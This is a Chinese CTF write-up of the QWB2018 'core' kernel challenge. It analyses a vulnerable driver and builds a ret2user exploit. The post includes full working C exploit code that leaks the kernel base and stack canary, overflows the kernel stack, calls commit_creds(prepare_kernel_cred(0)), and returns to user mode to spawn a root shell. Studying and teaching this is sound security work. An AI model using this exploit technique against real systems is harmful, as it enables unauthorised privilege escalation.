kernel-pwn学习(3)--ret2user&&kernel ROP&&QWB2018-core


这个题目其实这两种做法区别不大,就是提权时候ROP会复杂很多,其实对应于我们用户态的时候ROP去完成ret2text的工作,道理差不多,我就主要分析一下ret2user

题目分析

附件

附件

结构分析

这是附件里面的内容,下面4个就是exp和exp源码,上面两个是驱动分析,主要内容就是tar.gz
在这里插入图片描述
多给了一个vmlinux可以用来找一些gadget
在这里插入图片描述
第一步还是看看start.sh

start.sh

在这里插入图片描述
这里需要改一下大小,不然跑不起来,同时可以看到开了kaslr保护,也就是地址随机化,所以需要泄露内核地址
修改以后的
在这里插入图片描述

分析文件结构

在这里插入图片描述
由于我们有gen-cpio,里面这个可以删了,同时里面的vmlinux也可以删了

init分析

在这里插入图片描述
加载的驱动时core.ko,同时他把kallsyms复制到了tmp下面,所以虽然他开了kptr_restrict,也就是除了root用户不可以读kallsyms,但我们可以通过读tmp下面的找kernel base
同时为了调试等目的,我修改如下

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

cat /sys/module/core/sections/.text
setsid /bin/cttyhack setuidgid 0 /bin/sh
umount /proc
umount /sys

poweroff -d 0  -f

这样一来就是方便一点
在这里插入图片描述
进来就可以看到驱动的加载地址,好调试

驱动分析

保护

在这里插入图片描述
有canary

ioctl

在这里插入图片描述
三个功能,read 从内核态读数据到用户态
在这里插入图片描述
off设置偏移,由于canary刚好在v5后面,所以可以修改偏移泄露canary
copy_fun
在这里插入图片描述

这里有个判断,63是int ,所以写负数可以绕过,而下面memcpy刚好又是无符号,所以可以溢出,就是内核的栈溢出,然后这里内容是从name复制,name我们可以控制吗?
在这里插入图片描述
往name里面写<=0x800,绰绰有余

攻击

泄露kernel base

这一部分就是读取/tmp/kallsyms
在这里插入图片描述
里面是这样的东西,对应真实函数的加载地址,这里网上其实写复杂了

long commit_creds = 0, prepare_kernel_cred = 0,vmlinux_base = 0;
int find_symbol(){
	FILE* fd = fopen("/tmp/kallsyms","r");
	if (fd < 0){
		puts("open symbol failed");
		exit(0);
	}
	char buf[72] = {0};
	while(fgets(buf, 72, fd))
    {
	 if(strstr(buf, "commit_creds") ){
	 	char hex[17] = {0};
            	strncpy(hex, buf, 16);
		sscanf(hex, "%lx", &commit_creds);
		vmlinux_base = commit_creds - 0x9c8e0;
		prepare_kernel_cred = vmlinux_base + 0x9cce0;
		printf("vmlinux_load_base is 0x%lx\n",vmlinux_base);
		return 0;
	 }
    }
	return 1;
}

我最开始是这样写的,但你发现其实不用,因为第三行其实就是kernel base
在这里插入图片描述
那我们修改一下
在这里插入图片描述

fgets是读取一行,但要保证长度够,可以看到前几行都是30几,我们就取40

#include<string.h>
#include<stdio.h>
#include<stdlib.h>
long kernel_base;
int leak_kernel(){
	FILE * fd=fopen("/tmp/kallsyms","r");
	char buf[40];
	while(fgets(buf,40,fd)){
		if(strstr(buf,"startup_64")){
			char hex[17];
			strncpy(hex,buf,16);
			sscanf(hex,"%lx",&kernel_base);
			printf("kernel_base is 0x%lx",kernel_base);
			return 0;
		}
	}
	return 1;
}
int main(){
	if(leak_kernel()){
		exit(0);
	}
}

在这里插入图片描述

找到需要用的函数的偏移

linux里面提权用到的函数就是
commit_creds
prepare_kernel_cred
prepare_kernel_cred就是当参数为0的时候,他会创建一个cred,这个cred对应的就是all priviliage,也就是权限为0
commit_creds就是通过给定的cred结构去更新,所以通过这两个函数我们可以达到提权的效果
在这里插入图片描述
通过pwntools加载vmlinux可以找到对应的kernel_base
在这里插入图片描述
同时这里我们还需要利用ropper去找从内核态访问用户态需要的gadget
在这里插入图片描述
由于内核比较大,所以我先保存下来
从内核切换到用户态需要两个
一个是swapgs 用来修改用户态和内核态的gs寄存器
一个是iretq 用来恢复用户态执行上下文
顺序是swapgs,再是iretq,因为iretq完了就直接回用户态执行了
在这里插入图片描述
这里几个差不多,popfq没啥影响,就多pop一次,我们也算一下offset
在这里插入图片描述

在这里插入图片描述
注意这里和ret没有关系,iretq就已经返回到用户态了
在这里插入图片描述

开始利用驱动漏洞

泄露canary

#include<sys/ioctl.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
#include <fcntl.h>
long kernel_base;
int leak_kernel(){
	FILE * fd=fopen("/tmp/kallsyms","r");
	char buf[40];
	while(fgets(buf,40,fd)){
		if(strstr(buf,"startup_64")){
			char hex[17];
			strncpy(hex,buf,16);
			sscanf(hex,"%lx",&kernel_base);
			printf("kernel_base is 0x%lx\n",kernel_base);
			return 0;
		}
	}
	return 1;
}
int main(){
	if(leak_kernel()){
		exit(0);
	}
	int fd=open("/proc/core",2);//打开设备
	ioctl(fd,0x6677889C,0x40);//修改offset为0x40
	long buf[8];
	ioctl(fd, 0x6677889B,(char * )buf);//保存到用户态buf
	printf("canary is 0x%lx",buf[0]);
}

在这里插入图片描述

ROP

这里由于没有开smep保护,所以内核可以执行用户态代码,并且是最高权限,所以利用这一点我们可以提权,因为我们这个时候的栈溢出其实是在内核里面,这个时候就算回到了用户态代码,但权限还是内核,所以可以做到提权,(如果开启了smep,那么就类似于用户态ROP,我们先pop rdi,ret 然后mov rdi,rax,再ret)

void get_root(){
	__asm__(
	"mov rdi,0;"
	"mov rax,kernel_base;"
	"add rax,0x9cce0;"//这一步是prepare_kernel_cred,参数是0
	"call rax;"
	"mov rdi,rax;"//返回值就是第二个的参数
	"mov rax,kernel_base;"
	"add rax,0x9c8e0;"//commid_creds
	"call rax;"
	);
}

在这里插入图片描述
ROP[8]是偏移,因为canary再rbp-0x10,所以需要0x40垃圾
在这里插入图片描述
所以返回地址自然就是ROP[10]

返回到用户态

在这里插入图片描述
执行完get_root,我们先执行swagps,这里面由于有个多的popf的操作,所以iretq隔了一个
iretq因为要回到用户态,所以后面需要放一下用户态需要的内容
在这里插入图片描述
其实我们可以看到,状态切换系统也尽量避免大范围的push pop,他只变动了这些,我们依次摆放
rip很简单,我们自己定义一个backdoor
在这里插入图片描述
剩下的只能我们自己保存了,但注意,cs,ss基本是不会有大变动的,flags其实比较无所谓,就算zf=0对于我们也不影响,rsp这个影响也不大,因为就算错了一点也不影响,所以我们写一个save_status函数,这个函数在哪里执行都行
在这里插入图片描述
这里我放到一开始执行,但记住只要在ROP赋值前都可以
在这里插入图片描述

触发栈溢出

分为两步,首先调用write,往内核态的name里面写入内容
在这里插入图片描述
接下来就是栈溢出,但这里要利用负数绕过判断
在这里插入图片描述

final exp

#include<sys/ioctl.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
#include <fcntl.h>
#include <unistd.h>
long kernel_base;
int leak_kernel(){
	FILE * fd=fopen("/tmp/kallsyms","r");
	char buf[40];
	while(fgets(buf,40,fd)){
		if(strstr(buf,"startup_64")){
			char hex[17];
			strncpy(hex,buf,16);
			sscanf(hex,"%lx",&kernel_base);
			printf("kernel_base is 0x%lx\n",kernel_base);
			return 0;
		}
	}
	return 1;
}
void get_root(){
	__asm__(
	"mov rdi,0;"
	"mov rax,kernel_base;"
	"add rax,0x9cce0;"
	"call rax;"
	"mov rdi,rax;"
	"mov rax,kernel_base;"
	"add rax,0x9c8e0;"
	"call rax;"
	);
}
void backdoor(){
	system("/bin/sh");
}
long user_cs,user_ss,user_flag,user_rsp;
void save_status(){
	__asm__(
	"mov user_cs,cs;"
	"mov user_ss,ss;"
	"mov user_rsp,rsp;"
	"pushf;"
	"pop user_flag;"
	);
}
int main(){
	save_status();
	if(leak_kernel()){
		exit(0);
	}
	int fd=open("/proc/core",2);
	ioctl(fd,0x6677889C,0x40);
	long buf[8];
	ioctl(fd, 0x6677889B,(char * )buf);
	printf("canary is 0x%lx\n",buf[0]);
	long ROP[19];
	ROP[8]=buf[0];
	ROP[10]=(long)get_root;
	ROP[11]=kernel_base+0xa012da;//swagps
	ROP[13]=kernel_base+0x50ac2;//iretq
	ROP[14]=(long)backdoor;
	ROP[15]=user_cs;
	ROP[16]=user_flag;
	ROP[17]=user_rsp;
	ROP[18]=user_ss;
	write(fd,(char *)ROP,sizeof(ROP));
	puts("[+]root now");
	ioctl(fd,0x6677889A,0xffffffff00000000+sizeof(ROP));
}

修改init位普通用户权限
在这里插入图片描述

这里因为我用的是intel的汇编,所以要额外说明

gcc test.c -static -o test -masm=intel&&gen-cpio ../core.cpio 

在这里插入图片描述
可以看到提权成功

猜你喜欢

转载自blog.csdn.net/azraelxuemo/article/details/124328244
今日推荐